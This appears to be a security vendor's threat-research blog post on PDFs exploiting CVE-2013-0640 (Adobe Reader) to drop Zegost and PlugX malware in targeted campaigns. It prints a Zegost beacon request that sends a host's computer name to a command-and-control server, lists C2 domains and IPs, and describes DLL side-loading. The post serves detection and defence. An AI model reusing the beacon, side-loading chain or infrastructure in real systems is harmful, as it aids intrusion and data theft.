Malicious PDFs On The Rise

Additional text and analysis by Kyle Wilhoit

Throughout 2012, we saw a wide variety of APT campaigns leverage an exploit in Microsoft Word (CVE-2012-0158). This represented a shift, as previously CVE-2010-3333 was the most commonly used Word vulnerability. While we continue to see CVE-2012-0158 in heavy use, we have noticed increasing use of an exploit for Adobe Reader (CVE-2013-0640) that was made infamous by the “MiniDuke” campaign. The malware dropped by these malicious PDFs is not associated with MiniDuke, but it is associated with ongoing APT campaigns.

Zegost

One set of malicious PDFs we found that used this exploit contained decoy documents in Vietnamese; the file names were also in the same language.

Figure 1. Sample decoy document

The PDFs contain embedded JavaScript code that it similar to the code used by the MiniDuke campaign. These similarities include similar function and variable names.

Figure 2. Similar JavaScript code

Analyzing the PDF using Didier Stevens’ PDFiD tool shows that the two PDFs are very similar. They may not be identical, but the similarities between the two are hard to deny. The fields of interest here are “/Javascript”, “/OpenAction”, and “/Page”. These fields mean JavaScript is present, automatic actions of some sort take place, and the page number. These three items helped us identify the similarities between MiniDuke and Zegost.

The dropped files and data are also similar. Both campaigns drop the same number of files, with very similar file names, with similar purposes. Even the registry modifications are not too dissimilar.

However, that is where the similarities end. The payload dropped by these PDFs is known as Zegost (or HTTPTunnel) and has been spotted in previous attacks. This has no connection with the MiniDuke malware payload.) The Zegost malware has a distinct beacon:

GET /cgi/online.asp?hostname=[COMPUTERNAME]&httptype=[1][not%20httptunnel] HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: dns.yimg.ca
Cache-Control: no-cache

The command and control server, dns.yimg.ca, resolves to 223.26.55.122 which has been used by the more well known command and control servers like imm.conimes.com and iyy.conimes.com. The email addresses used to register this domain, llssddzz@gmail.com, has also been used to register scvhosts.com – another known C&C server – and updata-microsoft.com, which is probably also a threat.

PlugX

The second set of malicious PDFs are not necessarily directly related to one another, although they all drop different PlugX variants. The targets of the attacks we analyzed appear to have been sent to targets in Japan, South Korea, and India.

However, although these attacks also exploit CVE-2013-0640, they are different from the samples discussed above. When comparing the files, one can see the differences, such as the PDF version being used:

PlugX also drops files and data, but these are not similar to those Zegost or MiniDuke. Different numbers of files, for different reasons, are dropped.

PlugX: HHX

The first set of PlugX variants leverages the Microsoft HTML Help Compiler as described in this blog post. We have been able to detect this variant used in a targeted attack. In this case, the attackers sent an email to the intended target enticing them to open the malicious attachments.

The samples we analyzed dropped files in a directory named hhx and uses hhc.exe, which is a legitimate Microsoft file, to load hha.dll, which then loads hha.dll.bak. The command and control servers used by the files we analyzed included 14.102.252.142.

PlugX: PDH

The second set of PlugX variants we analyzed dropped files in a directory named PDH and leveraged a signed QQ Browser Update Service file to load PDH.dll, and then PDH.pak.

Figure 3. Signed file

 These files used dnsport.chatnook.com, inter.so-webmail.com, and 223.25.242.45 as their command-and-control servers.

Conclusion

Our research indicates that attackers engaged in APT campaigns may have adapted the exploit made infamous by the MiniDuke campaign and have incorporated it into their arsenal. At the same time, we have found that other APT campaigns seem to have developed their own methods to exploit the same vulnerability.  The increase in malicious PDF’s exploiting CVE-2013-0640 may indicate the start of shift in APT attacker behavior away from using malicious Word documents that exploit the now quite old CVE-2012-0158.

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